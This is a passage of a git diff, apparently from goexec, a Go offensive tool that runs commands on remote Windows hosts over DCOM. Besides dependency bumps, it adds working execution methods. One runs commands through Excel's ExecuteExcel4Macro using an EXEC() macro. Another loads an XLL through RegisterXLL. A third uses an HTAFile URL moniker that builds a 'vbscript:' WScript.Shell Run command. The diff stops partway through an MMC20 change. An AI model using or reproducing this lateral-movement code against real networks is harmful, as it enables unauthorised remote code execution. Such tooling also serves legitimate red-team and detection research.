h1:zHeZ/qjAAWrvsY1QltduANZLQ023APBYkPFJoHLA0ik= @@ -55,11 +55,11 @@ github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= -github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= -github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/pflag v1.0.7 h1:vN6T9TfwStFPFM5XzjsvmzZkLuaLX+HS+0SeFLRgU6M= -github.com/spf13/pflag v1.0.7/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s= +github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= @@ -73,8 +73,8 @@ github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5t golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= -golang.org/x/crypto v0.41.0 h1:WKYxWedPGCTVVl5+WHSSrOBT0O8lx32+zxmHxijgXp4= -golang.org/x/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc= +golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI= +golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -82,8 +82,8 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE= -golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg= +golang.org/x/net v0.44.0 h1:evd8IRDyfNBMBTTY5XRF1vaZlD+EmWx6x8PkhR04H/I= +golang.org/x/net v0.44.0/go.mod h1:ECOoLqd5U3Lhyeyo/QDCEVQ4sNgYsqvCZ722XogGieY= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -95,19 +95,19 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI= -golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= +golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k= +golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.34.0 h1:O/2T7POpk0ZZ7MAzMeWFSg6S5IpWd/RXDlM9hgM3DR4= -golang.org/x/term v0.34.0/go.mod h1:5jC53AEywhIVebHgPVeg0mj8OD3VO9OzclacVrqpaAw= +golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ= +golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng= -golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU= +golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk= +golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= diff --git a/internal/util/util.go b/internal/util/util.go index 5f6c8f3..5daf83f 100644 --- a/internal/util/util.go +++ b/internal/util/util.go @@ -1,10 +1,11 @@ package util import ( - "github.com/google/uuid" "math/rand" // not crypto secure "regexp" "strings" + + "github.com/google/uuid" ) const randHostnameCharset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-" @@ -24,6 +25,13 @@ func RandomHostname() (hostname string) { } } +func Truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "..." +} + func RandomWindowsTempFile() string { return `\Windows\Temp\` + strings.ToUpper(uuid.New().String()) } diff --git a/pkg/goexec/dcom/activation.go b/pkg/goexec/dcom/activation.go new file mode 100644 index 0000000..0ffff4e --- /dev/null +++ b/pkg/goexec/dcom/activation.go @@ -0,0 +1,101 @@ +package dcomexec + +import ( + "context" + "fmt" + + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iactivation/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dtyp" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" +) + +const ( + OptRemoteCreateInstance = "RemoteCreateInstance" + OptRemoteActivation = "RemoteActivation" +) + +// remoteCreateInstance creates a new instance of a COM class on a remote machine using RemoteCreateInstance (opnum 4). +func (m *Dcom) remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) { + if cls == nil { + return nil, fmt.Errorf("class ID is nil") + } + ap := &dcom.ActivationProperties{ + DestinationContext: 2, + Properties: []dcom.ActivationProperty{ + &dcom.InstantiationInfoData{ + ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)), + IID: []*dcom.IID{iid}, + ClientCOMVersion: m.comVersion, + }, + &dcom.ActivationContextInfoData{}, + &dcom.LocationInfoData{}, + &dcom.SCMRequestInfoData{ + RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{ + RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np + }, + }, + }, + } + apin, err := ap.ActivationPropertiesIn() + if err != nil { + return nil, err + } + act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, conn) + if err != nil { + return nil, err + } + cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ + ORPCThis: &dcom.ORPCThis{Version: m.comVersion}, + ActPropertiesIn: apin, + }) + if err != nil { + return nil, err + } + apout := new(dcom.ActivationProperties) + if err = apout.Parse(cr.ActPropertiesOut); err != nil { + return nil, err + } + if si := apout.SCMReplyInfoData(); si != nil { + opts = append(opts, normalizeStringBindings(si.RemoteReply.OXIDBindings.GetStringBindings())...) + } else { + return nil, fmt.Errorf("remote create instance response: SCMReplyInfoData is nil") + } + if pi := apout.PropertiesOutInfo(); pi != nil && pi.InterfaceData != nil && len(pi.InterfaceData) > 0 { + opts = append(opts, dcom.WithIPID(pi.InterfaceData[0].GetStandardObjectReference().Std.IPID)) + } else { + return nil, fmt.Errorf("remote create instance response: PropertiesOutInfo is nil") + } + return opts, err +} + +// remoteActivation activates a COM class on a remote machine using RemoteActivation (opnum 0). +func (m *Dcom) remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) { + if cls == nil { + return nil, fmt.Errorf("class ID is nil") + } + ac, err := iactivation.NewActivationClient(ctx, conn) + if err != nil { + return nil, fmt.Errorf("init activation client: %w", err) + } + act, err := ac.RemoteActivation(ctx, &iactivation.RemoteActivationRequest{ + ORPCThis: &dcom.ORPCThis{Version: m.comVersion}, + ClassID: dtyp.GUIDFromUUID(cls), + IIDs: []*dcom.IID{iid}, + RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np + }) + if err != nil { + return nil, fmt.Errorf("remote activation: %w", err) + } + if act.HResult != 0 { + return nil, hresult.FromCode(uint32(act.HResult)) + } + return append(normalizeStringBindings(act.OXIDBindings.GetStringBindings()), + dcom.WithIPID(act.InterfaceData[0].GetStandardObjectReference().Std.IPID)), nil +} diff --git a/pkg/goexec/dcom/context.go b/pkg/goexec/dcom/context.go new file mode 100644 index 0000000..3af872d --- /dev/null +++ b/pkg/goexec/dcom/context.go @@ -0,0 +1,59 @@ +package dcomexec + +import ( + "context" + + "github.com/oiweiwei/go-msrpc/msrpc/dcom" +) + +type contextKey string + +const ( + // contextKeyComVersion (dcom.COMVersion) carries the effective COM version + contextKeyComVersion contextKey = "ComVersion" + contextDefaultComVersionMajor uint16 = 5 + contextDefaultComVersionMinor uint16 = 7 + + // contextKeyGetComVersion (bool) determines whether to call getComVersion (ServerAlive2) to determine the COM version. + // If this is false, defaultComVersionMajor, contextDefaultComVersionMinor will be used. + contextKeyGetComVersion contextKey = "GetComVersion" + contextDefaultGetComVersion = true + + contextKeyCreateInstanceMethod contextKey = "CreateInstanceMethod" + contextDefaultCreateInstanceMethod = OptRemoteCreateInstance +) + +func contextGetComVersion(ctx context.Context) bool { + if v := ctx.Value(contextKeyGetComVersion); v != nil { + if g, ok := v.(bool); ok { + return g + } + } + return contextDefaultGetComVersion +} + +// contextComVersion will return the effective COM version (*dcom.COMVersion) from a context. +// If no COM Version is set and GetComVersion is true, nil is returned +func contextComVersion(ctx context.Context) *dcom.COMVersion { + if v := ctx.Value(contextKeyComVersion); v != nil { + if g, ok := v.(dcom.COMVersion); ok { + return &g + } + } + if !contextGetComVersion(ctx) { + return &dcom.COMVersion{ + MajorVersion: contextDefaultComVersionMajor, + MinorVersion: contextDefaultComVersionMinor, + } + } + return nil +} + +func contextCreateInstanceMethod(ctx context.Context) string { + if v := ctx.Value(contextKeyCreateInstanceMethod); v != nil { + if g, ok := v.(string); ok { + return g + } + } + return contextDefaultCreateInstanceMethod +} diff --git a/pkg/goexec/dcom/dcom.go b/pkg/goexec/dcom/dcom.go deleted file mode 100644 index b926efb..0000000 --- a/pkg/goexec/dcom/dcom.go +++ /dev/null @@ -1,34 +0,0 @@ -package dcomexec - -import ( - googleUUID "github.com/google/uuid" - "github.com/oiweiwei/go-msrpc/midl/uuid" - "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dtyp" -) - -const ( - LcEnglishUs uint32 = 0x409 -) - -var ( - ShellBrowserWindowUuid = uuid.MustParse("C08AFD90-F2A1-11D1-8455-00A0C91F3880") - ShellWindowsUuid = uuid.MustParse("9BA05972-F6A8-11CF-A442-00A0C90A8F39") - Mmc20Uuid = uuid.MustParse("49B2791A-B1AE-4C90-9B8E-E860BA07F889") - - RandCid = dcom.CID(*dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString()))) - IDispatchIID = &dcom.IID{ - Data1: 0x20400, - Data2: 0x0, - Data3: 0x0, - Data4: []byte{0xc0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x46}, - } - ComVersion = &dcom.COMVersion{ - MajorVersion: 5, - MinorVersion: 7, - } - ORPCThis = &dcom.ORPCThis{ - Version: ComVersion, - CID: &RandCid, - } -) diff --git a/pkg/goexec/dcom/dispatch.go b/pkg/goexec/dcom/dispatch.go new file mode 100644 index 0000000..524ca20 --- /dev/null +++ b/pkg/goexec/dcom/dispatch.go @@ -0,0 +1,95 @@ +package dcomexec + +import ( + "context" + "fmt" + "strings" + + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" +) + +const ( + LcEnglishUs uint32 = 0x409 +) + +// Dispatch represents a DCOM IDispatch client +type Dispatch struct { + Dcom + dispatch idispatch.DispatchClient +} + +// getDispatch will create an IDispatch instance of the provided class +func (m *Dispatch) getDispatch(ctx context.Context, cls *uuid.UUID) error { + opts, err := m.bindInstance(ctx, cls, idispatch.DispatchIID) + if err != nil { + return err + } + m.dispatch, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), opts...) // Might need those dcerpc.Options? + if err != nil { + return fmt.Errorf("init IDispatch client: %w", err) + } + return nil +} + +// callComMethod calls a COM method on a remote object using the IDispatch interface. +// +// The method is specified as a dot-separated string, e.g. "ShellWindows.Item" to call the Item method on the ShellWindows object. +// +// The method arguments are passed as *oaut.Variant. +// +// The method returns an *idispatch.InvokeResponse, which contains the result of the method call. +// +// The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will +// automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method. +func (m *Dispatch) callComMethod(ctx context.Context, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { + parts := strings.Split(method, ".") + + for i, obj := range parts { + var opts []dcerpc.CallOption + if id != nil { + opts = append(opts, dcom.WithIPID(id)) + } + gr, err := m.dispatch.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ + This: &dcom.ORPCThis{Version: m.comVersion}, + IID: &dcom.IID{}, + LocaleID: LcEnglishUs, + Names: []string{obj}, + }, opts...) + if err != nil { + return nil, fmt.Errorf("call %q: get dispatch ID of name %q: %w", method, obj, err) + } + if len(gr.DispatchID) < 1 { + return nil, fmt.Errorf("call %q: dispatch ID of name %q not found", method, obj) + } + irq := &idispatch.InvokeRequest{ + This: &dcom.ORPCThis{Version: m.comVersion}, + IID: &dcom.IID{}, + LocaleID: LcEnglishUs, + DispatchIDMember: gr.DispatchID[0], + } + if i >= len(parts)-1 { + irq.Flags = 1 + irq.DispatchParams = &oaut.DispatchParams{Args: args} + return m.dispatch.Invoke(ctx, irq, opts...) + } + irq.Flags = 2 + ir, err = m.dispatch.Invoke(ctx, irq, opts...) + if err != nil { + return nil, fmt.Errorf("call %q: get properties of object %q: %w", method, obj, err) + } + di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) + if !ok { + return nil, fmt.Errorf("call %q: invalid dispatch object for %q", method, obj) + } + id = di.InterfacePointer().GetStandardObjectReference().Std.IPID + } + return +} diff --git a/pkg/goexec/dcom/excel.go b/pkg/goexec/dcom/excel.go new file mode 100644 index 0000000..bf1e36b --- /dev/null +++ b/pkg/goexec/dcom/excel.go @@ -0,0 +1,120 @@ +package dcomexec + +import ( + "context" + "errors" + "fmt" + "strings" + "syscall" + + "github.com/FalconOpsLLC/goexec/internal/util" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + "github.com/rs/zerolog" +) + +const ( + MethodExcelMacro = "Excel:ExecuteExcel4Macro" + MethodExcelXLL = "Excel:RegisterXLL" + ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046" +) + +type DcomExcel struct { + Dispatch +} + +type DcomExcelMacro struct { + DcomExcel + Macros []string + MacroFile string + NoTerminate bool +} + +type DcomExcelXll struct { + DcomExcel + XllLocation string + NoTerminate bool +} + +// Init will initialize the ShellBrowserWindow instance +func (m *DcomExcel) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid)) + } + return +} + +// quit will terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") +func (m *DcomExcel) quit(ctx context.Context) (err error) { + log := zerolog.Ctx(ctx) + quit := "QUIT()" + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", quit). + Msg("terminating Excel process") + qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit)) + _ = qr + if err != nil { + if errors.Is(err, syscall.ECONNRESET) { + log.Info().Msg("Excel process terminated") + return nil + } + log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s") failed`, quit) + } + if qr.Return != 0 { + err = hresult.FromCode(uint32(qr.Return)) + log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s"): %d`, quit, qr.Return) + } + + return err +} + +func (m *DcomExcelMacro) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + if len(m.Macros) == 0 { + m.Macros = []string{fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`))} + } + if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") + defer func() { + _ = m.quit(ctx) + }() + } + for _, macro := range m.Macros { + // Call ExecuteExcel4Macro to execute macro + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", util.Truncate(macro, 100)). + Msg("executing Excel macro") + ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(macro)) + if err != nil { + return err + } + if ir.Return != 0 { + return hresult.FromCode(uint32(ir.Return)) + } + log.Info().Msg("ExecuteExcel4Macro call successful") + } + + return +} + +func (m *DcomExcelXll) Call(ctx context.Context) (err error) { + log := zerolog.Ctx(ctx) + if !m.NoTerminate { + defer func() { + _ = m.quit(ctx) + }() + } + qr, err := m.callComMethod(ctx, nil, "Application.RegisterXLL", stringToVariant(m.XllLocation)) + if err != nil { + return fmt.Errorf("call RegisterXLL: %w", err) + } + log.Info().Msg("RegisterXLL call successful") + if stat, ok := qr.VarResult.VarUnion.GetValue().(bool); ok && stat { + log.Info().Bool("res", stat).Int32("return", qr.Return).Msg("XLL registered successfully") + } else { + log.Warn().Bool("res", stat).Int32("return", qr.Return).Msg("Execution may have failed") + } + return +} diff --git a/pkg/goexec/dcom/htafile.go b/pkg/goexec/dcom/htafile.go new file mode 100644 index 0000000..947a89e --- /dev/null +++ b/pkg/goexec/dcom/htafile.go @@ -0,0 +1,166 @@ +package dcomexec + +import ( + "context" + "encoding/binary" + "fmt" + "strings" + + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/imoniker/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/ipersistmoniker/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dtyp" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" + "github.com/oiweiwei/go-msrpc/ndr" + "github.com/oiweiwei/go-msrpc/text/encoding/utf16le" + "github.com/rs/zerolog" +) + +const ( + MethodHtafile = "HTAFile" + HtafileUuid = "3050F4D8-98B5-11CF-BB82-00AA00BDCE0B" + serialUuid = "F4815879-1D3B-487F-AF2C-825DC4852763" + urlMonikerUuid = "79EAC9E0-BAF9-11CE-8C82-00AA004BA90B" +) + +const ( // See https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/1786df8e-b792-4a28-b7c5-4d9a91d2e401 + UriCreateAllowRelative uint32 = 0x00000001 + UriCreateAllowImplicitWildcardScheme uint32 = 0x00000002 + UriCreateAllowImplicitFileScheme uint32 = 0x00000004 + UriCreateNoFrag uint32 = 0x00000008 + UriCreateNoCanonicalize uint32 = 0x00000010 + UriCreateFileUseDosPath uint32 = 0x00000020 + UriCreateDecodeExtraInfo uint32 = 0x00000040 + UriCreateNoDecodeExtraInfo uint32 = 0x00000080 + UriCreateCanonicalize uint32 = 0x00000100 + UriCreateCrackUnknownSchemes uint32 = 0x00000200 + UriCreateNoCrackUnknownSchemes uint32 = 0x00000400 + UriCreatePreProcessHTMLURI uint32 = 0x00000800 + UriCreateNoPreProcessHTMLURI uint32 = 0x00001000 + UriCreateIESettings uint32 = 0x00002000 + UriCreateNoIESettings uint32 = 0x00004000 + UriCreateNoEncodeForbiddenChars uint32 = 0x00008000 + UriCreateNormalizeIntlChars uint32 = 0x00010000 +) + +type DcomHtafile struct { + Dcom + Url string + Vbscript string + Javascript string + ipm ipersistmoniker.PersistMonikerClient +} + +// Init will initialize the ShellBrowserWindow instance +func (m *DcomHtafile) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err != nil { + return err + } + opts, err := m.bindInstance(ctx, uuid.MustParse(HtafileUuid), ipersistmoniker.PersistMonikerIID) + if err != nil { + return fmt.Errorf("bind htafile instance: %w", err) + } + if m.ipm, err = ipersistmoniker.NewPersistMonikerClient(ctx, m.Client.Dce(), opts...); err != nil { + return fmt.Errorf("init IPersistMoniker client: %w", err) + } + return +} + +func (m *DcomHtafile) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + mon, err := getUrlMoniker(m.Url, 0) + if err != nil { + return fmt.Errorf("create url moniker structure: %w", err) + } + log.Info().Str("URL", m.Url).Msg("Loading URL moniker") + lrs, err := m.ipm.Load(ctx, &ipersistmoniker.LoadRequest{ + This: &dcom.ORPCThis{Version: m.comVersion}, + Name: mon, + }) + if err != nil { + return fmt.Errorf("IPersistMoniker.Load: %w", err) + } + if lrs.Return == 0 { + log.Info().Msg("Load call successful") + } else { + log.Warn().Msgf("Load call returned %d", lrs.Return) + } + _ = lrs + return +} + +type URLMoniker struct { + URL string + HasExtras bool // whether to include trailer with SerialGUID/SerialVersion/URIFlags on marshal + SerialVersion uint32 // should be 0 when HasExtras; preserved on unmarshal + URIFlags uint32 // the URICreateFlags bitmask (meaning per CreateUri) +} + +// MarshalBinary implements encoding.BinaryMarshaler. +func (m URLMoniker) MarshalBinary() ([]byte, error) { + // UTF-16LE encode URL + terminating NUL. + urlBytes, err := utf16le.Encode(m.URL + "\x00") + if err != nil { + return nil, err + } + var out []byte + if m.HasExtras { + out = make([]byte, 4+len(urlBytes)+16+4+4) + copy(out[4+len(urlBytes):], uuid.MustParse(serialUuid).EncodeBinary()) + binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16:], m.SerialVersion) + binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16+4:], m.URIFlags) + } else { + out = make([]byte, 4+len(urlBytes)) + } + binary.LittleEndian.PutUint32(out, uint32(len(out)-4)) + copy(out[4:], urlBytes) + + return out, nil +} + +func getUrlMoniker(url string, flags uint32) (*urlmon.Moniker, error) { + blob, err := URLMoniker{URL: url, HasExtras: true, URIFlags: flags}.MarshalBinary() + if err != nil { + return nil, err + } + objRef := &dcom.ObjectReference{ + Signature: ([]byte)(dcom.ObjectReferenceCustomSignature), + Flags: dcom.ObjectReferenceTypeCustom, + IID: imoniker.MonikerIID, + ObjectReference: &dcom.ObjectReference_ObjectReference{ + Value: &dcom.ObjectReference_Custom{ + Custom: &dcom.ObjectReferenceCustom{ + ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(uuid.MustParse(urlMonikerUuid))), + ObjectData: blob, + }, + }, + }, + } + dat, err := ndr.Marshal(objRef, ndr.Opaque) + if err != nil { + return nil, err + } + return &urlmon.Moniker{Data: dat}, nil +} + +func HtafileGetUrl(url, jscript, vbscript string, execIO *goexec.ExecutionIO) string { + switch { + case url != "": + case vbscript != "": + return "vbscript:" + vbscript + case jscript != "": + return "javascript:" + jscript + case execIO != nil: + return getVbscriptCmdExecUrl(execIO.String()) + } + return url +} + +func getVbscriptCmdExecUrl(cmd string) string { + return fmt.Sprintf(`vbscript:Close(CreateObject("WScript.Shell").Run("%s"))`, strings.ReplaceAll(cmd, `"`, `""`)) +} diff --git a/pkg/goexec/dcom/mmc.go b/pkg/goexec/dcom/mmc.go index 97fc4ef..6d20d56 100644 --- a/pkg/goexec/dcom/mmc.go +++ b/pkg/goexec/dcom/mmc.go @@ -3,48 +3,48 @@ package dcomexec import ( "context" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/rs/zerolog" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) const ( - MethodMmc = "MMC" // MMC20.Application::Document.ActiveView.ExecuteShellCommand + MethodMmc = "MMC20.Application" // 